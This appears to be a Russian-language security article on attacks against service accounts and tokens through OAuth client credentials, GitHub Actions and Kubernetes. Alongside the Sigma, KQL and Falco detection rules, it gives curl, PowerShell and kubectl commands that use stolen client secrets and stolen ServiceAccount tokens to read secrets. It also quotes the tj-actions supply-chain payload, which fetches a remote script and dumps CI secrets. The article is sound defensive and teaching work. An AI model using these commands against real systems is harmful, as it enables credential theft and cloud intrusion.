Атаки на сервисные аккаунты и токены: компрометация Non-Human Identities через OAuth, CI/CD и Kubernetes


Когда речь заходит об identity-атаках, security-инженеры рефлекторно думают о фишинге и краже паролей сотрудников. А зря. Реальная поверхность атаки давно сместилась: по данным Obsidian Security, 68% SaaS-инцидентов связаны с non-human identities - OAuth-токенами, сервисными аккаунтами, API-ключами и CI/CD-секретами. IBM X-Force Threat Intelligence Index фиксирует: identity-based атаки - 30% всех компрометаций. А отчёт BI.ZONE за 2025 год добивает: 57% инцидентов с привилегированными учётками проходят через легитимные действующие credentials - технику , Initial Access / Persistence / Privilege Escalation / Defense Evasion).

Как человек, который в рамках red team-кампаний лично угонял GitHub Actions OIDC-токены и эксплуатировал кривые OAuth client credentials в Azure AD, скажу прямо: атаки на сервисные аккаунты и токены - самый «тихий» и при этом разрушительный вектор. Ниже - практический разбор трёх TTP-цепочек (OAuth abuse, CI/CD hijacking, Kubernetes SA compromise) с готовыми правилами детектирования, которые можно внедрять сразу.

Non-Human Identities как главная цель атакующего​

Non-Human Identities (NHI) - цифровые идентичности, которые аутентифицируют машины, приложения и автоматизированные процессы: OAuth-токены, API-ключи, сервисные аккаунты, сертификаты, workload identities и - всё чаще - AI-агенты. По разным оценкам, NHI превосходят человеческие идентичности в 25–50 раз (Obsidian Security) и до 92:1 (IBM). Каждый микросервис, каждая интеграция, каждый CI/CD-пайплайн плодит новые machine credentials, которые живут вне контуров классического IAM.

Почему традиционный IAM не работает для NHI​

Управление идентификацией и доступом строится на допущениях, которые к машинным идентичностям просто неприменимы:

Допущение IAMДля человекаДля NHI
Жизненный цикл привязан к HR-событиямДаНет - нет менеджера, нет увольнения
MFA при аутентификацииДаНевозможно - bearer-токен = доступ
Поведенческий baseline (рабочие часы, геолокация)ДаНет - работает 24/7 отовсюду
Квартальный access reviewПрименимФормален - никто не знает, что делает конкретный SA
Ротация credentialsЧерез парольную политикуЧасто отсутствует - токены живут годами

Именно этот governance gap делает NHI идеальной мишенью. OWASP выделяет отдельный NHI Top 10, где в тройке лидеров: improper offboarding (неотозванные токены после деактивации интеграций), secret leakage (утечка секретов в репозитории и логи) и overprivileged access - избыточные права, выданные «чтобы работало» (знакомо, да?).

OAuth client credential abuse - пошаговый разбор атаки​

- механизм machine-to-machine аутентификации, при котором приложение получает access token напрямую от authorization server, используя client_id и client_secret. Никакого пользовательского согласия, никакого MFA - только секрет. Если атакующий получает эту пару, он получает все права, делегированные приложению. Вот так просто.

Как ломается Client Credentials Flow​

TTP-цепочка в типичной red team-кампании:
  1. Разведка (T1552, Unsecured Credentials): находим client_id/client_secret в исходном коде, переменных окружения CI/CD, файлах конфигурации или через утечки (GitHub, .env-файлы, которые кто-то забыл добавить в .gitignore)
  2. Получение токена (T1528, Steal Application Access Token): обмениваем credentials на access token через стандартный OAuth endpoint
  3. Lateral movement (T1550.001, Use Alternate Authentication Material): используем полученный токен для доступа к API целевых сервисов - Graph API, Salesforce, внутренние микросервисы
  4. Persistence: client_secret сам по себе - долгоживущий credential (часто без срока истечения), позволяющий запрашивать новые access-токены в любой момент без дополнительной аутентификации
Получение токена через Azure AD (Entra ID) - дело одного curl'а:
Bash:
# Получение OAuth access token через Client Credentials Flow
# Предполагаем, что client_id и client_secret уже получены (утечка, secrets в репо)
curl -X POST "https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" \
  -d "client_id={stolen_client_id}" \
  -d "client_secret={stolen_client_secret}" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "grant_type=client_credentials"
Полученный JWT-токен даёт доступ к Microsoft Graph API с правами, назначенными приложению - часто это Mail.Read, Files.ReadWrite.All, Directory.Read.All. Лично я на одном проекте через такой токен вытянул переписку CEO за полгода - приложению когда-то дали Mail.Read «для интеграции с CRM», а потом забыли.

Для разведки OAuth-приложений в Azure AD использую ROADtools:
Bash:
# Установка и аутентификация ROADtools
pip install roadrecon
roadrecon auth -c {stolen_client_id} -p {stolen_client_secret} -t {tenant_id}

# Сбор данных о всех приложениях, service principals и их permissions
roadrecon gather

# Анализ - поиск overprivileged apps
roadrecon gui
# В GUI ищем приложения с Application Permissions (не Delegated)
# и правами типа Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory

Реальные инциденты компрометации OAuth-токенов​

Salesloft-Drift (август 2025). Атакующие скомпрометировали SaaS-платформу Salesloft и украли OAuth access-токены интеграции чат-бота Drift с Salesforce. Используя эти токены как trusted NHI между Drift и Salesforce, злоумышленники имперсонировали интеграцию и получили доступ к CRM-данным более чем 700 компаний. Десять дней они спокойно выгружали записи клиентов, включая хранящиеся в тикетах поддержки AWS-ключи и Snowflake-токены. Один OAuth-токен - каскадная компрометация через всю SaaS supply chain.

Microsoft Midnight Blizzard (январь 2024). APT29 эксплуатировала legacy test tenant account без MFA в инфраструктуре Microsoft. Забытый тестовый аккаунт - классический пример improper offboarding из OWASP NHI Top 10 - дал начальный доступ к внутренним системам. У Microsoft. Вдумайтесь.

Okta (октябрь 2023). Supply chain-компрометация через сервисный аккаунт, который должен был быть деактивирован за месяцы до инцидента. Последствия затронули Cloudflare: из 5000 ротированных credentials после инцидента один API-токен сервисного аккаунта остался активным, и через него атакующие зашли в Atlassian-инфраструктуру (Jira, Confluence, Bitbucket). Один из пяти тысяч - и этого хватило.

Практика поиска уязвимых OAuth-конфигураций​

Для обнаружения кривых OAuth-приложений в периметре атаки я использую комбинацию инструментов:
Bash:
# Получение OAuth-токена через Client Credentials и парсинг JWT
# Вариант 1: через Invoke-RestMethod (универсальный, без внешних модулей)
$body = @{
    client_id     = $clientId
    client_secret = $secret
    scope         = "https://graph.microsoft.com/.default"
    grant_type    = "client_credentials"
}
$token = Invoke-RestMethod -Method Post `
  -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Body $body
# Парсинг JWT для просмотра claims и scope
$payload = $token.access_token.Split('.')[1].Replace('-','+').Replace('_','/')
while ($payload.Length % 4) { $payload += '=' }
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json
Bash:
# Semgrep - поиск захардкоженных client_secret в коде
semgrep --config "p/secrets" --config "p/owasp-top-ten" /path/to/repo

# truffleHog - глубокий поиск секретов в Git-истории
trufflehog git file:///path/to/repo --only-verified

Угон токенов CI/CD - GitHub Actions как вектор компрометации​

CI/CD-пайплайны - концентраторы секретов. Они хранят cloud credentials, API-ключи, SSH-приватники и токены доступа к registry. Компрометация одного workflow-action может открыть доступ к тысячам репозиториев и их секретам. Одного.

Каскадная компрометация через GitHub Actions​

В марте 2025 года произошла одна из самых масштабных supply chain-атак на CI/CD. По данным Mitiga и Kaspersky, цепочка выглядела так:
  1. Атакующие угнали персональный токен доступа (PAT) мейнтейнера проекта SpotBugs
  2. Через этот токен скомпрометировали reviewdog/action-setup (v1) - вредоносный коммит зафиксирован 11 марта 2025
  3. Через зависимость от reviewdog скомпрометировали tj-actions/changed-files - 14 марта 2025
  4. Вредоносный код в dist/index.js выполнял base64-закодированный payload, который тупо дампил все секреты из памяти процесса и выводил их в логи сборки
Payload, обнаруженный в скомпрометированном action (по данным Mitiga):
Bash:
# Декодированный payload из tj-actions/changed-files
if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=$(curl -sSf https://gist.githubusercontent.com/.../memdump.py \
    | sudo python3 \
    | tr -d '\0' \
    | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' \
    | sort -u | base64 -w 0 | base64 -w 0)
  echo $B64_BLOB
fi
Результат: секреты (AWS-ключи, Azure/GCP-токены, GitHub PAT, NPM-токены, ключи RSA) из публичных репозиториев оказывались прямо в логах workflow - доступных любому. По данным Kaspersky, изначальной целью была криптобиржа Coinbase, но после обнаружения атакующие переключились на массовую эксфильтрацию. Под угрозой оказались 23 000 репозиториев, у нескольких сотен секреты реально утекли в публичный доступ.

Параллельно фиксировались OAuth-фишинговые кампании на GitHub. По данным Mitiga, атакующие использовали поддельные OAuth-приложения под видом «Security Alert» и «GitHub Notification», затронув более 8000 репозиториев. Разработчики кликали на поддельное уведомление и отдавали атакующим полный доступ к своим репозиториям и секретам. Социальная инженерия в чистом виде, только жертва - не человек-пользователь, а OAuth-flow.

: утечка GitHub-токенов через JetBrains IDE​

Критическая уязвимость CVE-2024-37051 (CVSS 9.3, CRITICAL) позволяла раскрывать GitHub access token третьим сторонам при использовании GitHub-плагина в JetBrains IDE. Вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N: атака по сети, низкая сложность, не нужны привилегии, но нужно действие пользователя (UI:R), при этом scope меняется (S:C) - скомпрометированный токен открывает доступ к ресурсам за пределами IDE.

CWE-522 (Insufficiently Protected Credentials) - токены хранились и передавались без должной защиты. Затронуты все JetBrains IDE после версии 2023.1: IntelliJ IDEA, CLion, GoLand, PhpStorm, DataGrip, DataSpell, Aqua и MPS.

Показательный случай: разработчик просто работал в IDE, а его GitHub-токен утекал на сторонний сайт, давая атакующему полный доступ к приватным репозиториям. Никаких фишинговых писем, никаких вредоносных ссылок - просто открытая IDE.

Поиск утечек секретов в CI/CD-пайплайнах​

Практический workflow для аудита CI/CD-секретов:
Bash:
# Шаг 1: Сканирование всех репозиториев организации на секреты
# truffleHog проверяет всю Git-историю, включая удалённые коммиты
trufflehog github --org=your-org --token=$GITHUB_PAT --only-verified

# Шаг 2: Аудит GitHub Actions workflows на опасные паттерны
# Semgrep ищет использование скомпрометированных или небезопасных actions
semgrep --config "p/github-actions" /path/to/workflows/

# Шаг 3: Сканирование Docker-образов на embedded credentials
trivy image --scanners vuln,secret your-registry/your-image:latest

# Шаг 4: Проверка, что workflows не выводят секреты в логи
grep -rn "echo.*\$\{\{.*secrets\." .github/workflows/
Подробнее о том, как выстроить безопасный CI/CD с Zero Trust и защитить пайплайны от supply chain-атак, читайте в отдельном разборе.

Компрометация сервисных аккаунтов в Kubernetes​

В Kubernetes каждый pod автоматически получает ServiceAccount-токен, монтируемый в /var/run/secrets/kubernetes.io/serviceaccount/token. Если атакующий получил RCE в контейнере, этот токен - первое, что он заберёт. В кластерах с кривым RBAC один украденный ServiceAccount-токен может стать ключом ко всему кластеру.

Lateral movement через украденный ServiceAccount-токен​

TTP-цепочка эксплуатации Kubernetes ServiceAccount:
  1. Initial Access: RCE в контейнере через уязвимое приложение
  2. Credential Access (T1552.001, Unsecured Credentials: Credentials in Files): чтение SA-токена из файловой системы пода
  3. Discovery: перечисление доступных API-ресурсов с этим токеном
  4. Lateral Movement: доступ к другим namespace, секретам, ConfigMap
  5. Privilege Escalation: при наличии прав на создание pods/roles - эскалация до cluster-admin
Bash:
# Внутри скомпрометированного пода:

# Шаг 1: Извлечение ServiceAccount токена
SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API_SERVER="https://kubernetes.default.svc"

# Шаг 2: Проверка, что можно делать с этим токеном
# auth can-i --list покажет все доступные permissions
curl -s --cacert $CA_CERT \
  -H "Authorization: Bearer $SA_TOKEN" \
  "$API_SERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"'$NAMESPACE'"}}'

# Шаг 3: Попытка чтения секретов в текущем namespace
curl -s --cacert $CA_CERT \
  -H "Authorization: Bearer $SA_TOKEN" \
  "$API_SERVER/api/v1/namespaces/$NAMESPACE/secrets"

# Шаг 4: Попытка перечисления всех namespace (если есть cluster-level права)
curl -s --cacert $CA_CERT \
  -H "Authorization: Bearer $SA_TOKEN" \
  "$API_SERVER/api/v1/namespaces"
В ходе red team-кампаний я неоднократно видел, как default ServiceAccount в namespace имел привилегии на чтение secrets из-за избыточного ClusterRoleBinding. Кто-то когда-то сделал kubectl create clusterrolebinding «чтобы заработало», и забыл. Один такой токен давал доступ к database credentials, cloud provider keys и TLS-сертификатам по всему кластеру. Схожие техники LOTL в контейнерных средах позволяют атакующему действовать легитимными инструментами, не поднимая лишних алертов.

Для пост-эксплуатации в Kubernetes - kubectl с украденным токеном:
Bash:
# Использование украденного токена вне кластера
kubectl --server=https://<api-server>:6443 \
  --token="$SA_TOKEN" \
  --certificate-authority=ca.crt \
  get secrets --all-namespaces

# Поиск секретов с cloud credentials
kubectl --token="$SA_TOKEN" get secrets -A -o json | \
  grep -i "aws\|azure\|gcp\|password\|token"

Детектирование компрометации токенов - готовые правила​

Детектирование атак на сервисные аккаунты и токены требует покрытия трёх плоскостей: cloud IAM (OAuth abuse), CI/CD (GitHub/GitLab) и инфраструктура (Kubernetes). Ниже - конкретные правила. Копируйте и внедряйте.

Sigma-правила для OAuth и service account abuse​

YAML:
# Sigma-правило: аномальный OAuth Client Credentials Grant
title: Suspicious OAuth Client Credentials Grant from Unusual IP
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: >
  Детектирует получение OAuth-токена через Client Credentials Flow
  с нехарактерного IP-адреса или user-agent
logsource:
  product: azure
  service: signinlogs
detection:
  selection:
    properties.authenticationProtocol: 'OAuth2'
    properties.clientCredentialType: 'ClientSecret'
  filter_known:
    properties.ipAddress|cidr:
      - '10.0.0.0/8'       # ваш корпоративный диапазон
      - '172.16.0.0/12'    # ваша CI/CD-инфраструктура
  condition: selection and not filter_known
level: high
tags:
  - attack.credential_access
  - attack.t1528
YAML:
# Threat hunting запрос: service account используется впервые за 90 дней
# ПРИМЕЧАНИЕ: это НЕ real-time Sigma-правило. Для детектирования dormant SA
# необходим двухэтапный подход:
# 1) Scheduled query формирует baseline - список SP без sign-in за 90 дней
# 2) Real-time правило матчит новые sign-in события против этого списка
#
# Ниже - KQL-запрос для threat hunting в Azure Log Analytics:

# let DormantSPs = AADServicePrincipalSignInLogs
#   | where TimeGenerated between (ago(180d) .. ago(90d))
#   | summarize LastSeen=max(TimeGenerated) by ServicePrincipalId
#   | join kind=leftanti (
#       AADServicePrincipalSignInLogs
#       | where TimeGenerated > ago(90d)
#       | distinct ServicePrincipalId
#   ) on ServicePrincipalId;
# AADServicePrincipalSignInLogs
# | where TimeGenerated > ago(1d)
# | where ResultType == 0
# | join kind=inner DormantSPs on ServicePrincipalId
# | project TimeGenerated, ServicePrincipalName, IPAddress, ServicePrincipalId

KQL-запросы для Entra ID и Azure​

SQL:
// KQL: Обнаружение OAuth-токенов, запрошенных из нетипичных локаций
AADServicePrincipalSignInLogs
| where TimeGenerated > ago(24h)
| where ResultType == 0  // успешная аутентификация
| where ServicePrincipalCredentialKeyId != ""
| summarize
    TypicalIPs = make_set(IPAddress) by ServicePrincipalName
| join kind=inner (
    AADServicePrincipalSignInLogs
    | where TimeGenerated > ago(1h)
    | where ResultType == 0
    | project ServicePrincipalName, IPAddress, TimeGenerated
) on ServicePrincipalName
| where not(TypicalIPs has IPAddress)
| project TimeGenerated, ServicePrincipalName, IPAddress, TypicalIPs
SQL:
// KQL: Обнаружение нового OAuth-приложения с высокими привилегиями
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName == "Add app role assignment to service principal"
| extend AppRoleValue = tostring(TargetResources[0].modifiedProperties[1].newValue)
| where AppRoleValue has_any ("Directory.ReadWrite.All",
    "Mail.ReadWrite", "Files.ReadWrite.All",
    "RoleManagement.ReadWrite.Directory")
| project TimeGenerated, InitiatedBy, AppRoleValue,
    TargetResources[0].displayName

Falco-правила для Kubernetes​

YAML:
# Falco: обнаружение чтения ServiceAccount токена внутри контейнера
- rule: Read ServiceAccount Token from Container
  desc: >
    Процесс внутри контейнера читает ServiceAccount токен.
    Легитимно для service mesh и cloud SDK, подозрительно для shell и curl.
  condition: >
    open_read and
    container and
    fd.name = "/var/run/secrets/kubernetes.io/serviceaccount/token" and
    not proc.name in (envoy, pilot-agent, coredns, kube-proxy) and
    proc.name in (cat, curl, wget, python, python3, bash, sh, node)
  output: >
    ServiceAccount token read by suspicious process
    (user=%user.name command=%proc.cmdline container=%container.name
    pod=%k8s.pod.name namespace=%k8s.ns.name)
  priority: WARNING
  tags: [credential_access, k8s, T1552.001]
YAML:
# Falco: обнаружение обращений к Kubernetes API из пода через curl/wget
- rule: Direct Kubernetes API Access from Pod
  desc: >
    Обнаружение прямых HTTP-запросов к Kubernetes API Server
    из контейнера - типичный паттерн пост-эксплуатации с украденным SA-токеном
  condition: >
    container and
    evt.type in (connect, sendto) and
    fd.sip = "kubernetes.default.svc" and
    proc.name in (curl, wget, python, python3)
  output: >
    Direct K8s API access from container
    (command=%proc.cmdline pod=%k8s.pod.name namespace=%k8s.ns.name
    destination=%fd.sip:%fd.sport)
  priority: NOTICE
  tags: [discovery, lateral_movement, k8s]

Threat hunting по GitHub Audit Logs​

По методологии Mitiga, для threat hunting по GitHub нужно анализировать audit logs на следующие IoA (Indicators of Attack):
Bash:
# Проверка публичных репозиториев (наиболее уязвимых к утечкам)
# В GitHub Enterprise Audit Log ищем:
# action: repo.access - изменение видимости на public
# action: integration_installation.create - новая OAuth app installation
# action: org.update_member - изменение прав участника

# Пример запроса к GitHub Audit Log API
curl -H "Authorization: Bearer $GITHUB_TOKEN" \
  "https://api.github.com/orgs/{org}/audit-log?phrase=action:oauth_application.create+created:>2025-01-01" \
  | jq '.[] | {actor: .actor, action: .action, created_at: .created_at, data: .data}'
Ключевые события для мониторинга:

СобытиеОписаниеУровень риска
oauth_application.createСоздание нового OAuth-приложенияВысокий
integration_installation.createУстановка интеграции с широкими permissionsВысокий
repo.download_zipМассовая загрузка репозиториевСредний
personal_access_token.createСоздание PAT с широкими scopeСредний
workflows.completed_workflow_runWorkflow использует скомпрометированный actionКритический

Практический чеклист: hardening Non-Human Identities​

По итогам десятков red team-кампаний и параллельной работы на стороне blue team - пошаговый чеклист, закрывающий основные вектора атак на machine identities.

Делай раз - инвентаризация:
  • Проведите полную инвентаризацию всех NHI: OAuth-приложения, service accounts, API-ключи, CI/CD-токены, Kubernetes ServiceAccounts
  • Определите владельца для каждой NHI (нет владельца = orphaned = немедленный риск)
  • Документируйте expected behavior: с каких IP, в какое время, какие API вызывает каждая NHI
Делай два - минимизация привилегий и lifecycle:
  • Внедрите least privilege для всех NHI: OAuth-приложения получают только необходимые scopes, Kubernetes SA - только нужные RBAC-роли
  • Настройте автоматическую ротацию credentials: short-lived токены вместо long-lived, workload identity federation вместо статических ключей
  • Замените static ServiceAccount tokens на Bound Service Account Tokens (проецируемые, с ограниченным TTL)
  • Отключите автомонтирование SA-токенов в подах, где они не нужны: automountServiceAccountToken: false
Делай три - мониторинг и детектирование:
  • Разверните Sigma/KQL-правила из этой статьи для детектирования OAuth abuse
  • Настройте Falco с правилами для Kubernetes credential access
  • Включите GitHub audit log streaming в SIEM и настройте алерты на критические события
  • Внедрите поведенческий baseline для каждой NHI и алертинг на отклонения: нетипичный IP, нехарактерный объём запросов, новые API-вызовы
Проблема NHI-безопасности не решается одним инструментом. Это инвентаризация, governance-процессы и behavioral detection вместе. Каждый забытый OAuth-токен или незаротированный service account - точка входа, через которую вашу инфраструктуру могут скомпрометировать так же тихо, как это произошло с Cloudflare, Microsoft и Okta. Отдельного внимания заслуживает эскалация привилегий в AWS Organizations - облачные среды создают дополнительные векторы, которые часто остаются вне зоны видимости классических IAM-инструментов.

Вопрос на засыпку: вы знаете все machine credentials в своей инфраструктуре? И когда каждый из них использовался последний раз? Если нет - начните с trufflehog github --org=your-org. Результаты могут неприятно удивить.
 
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab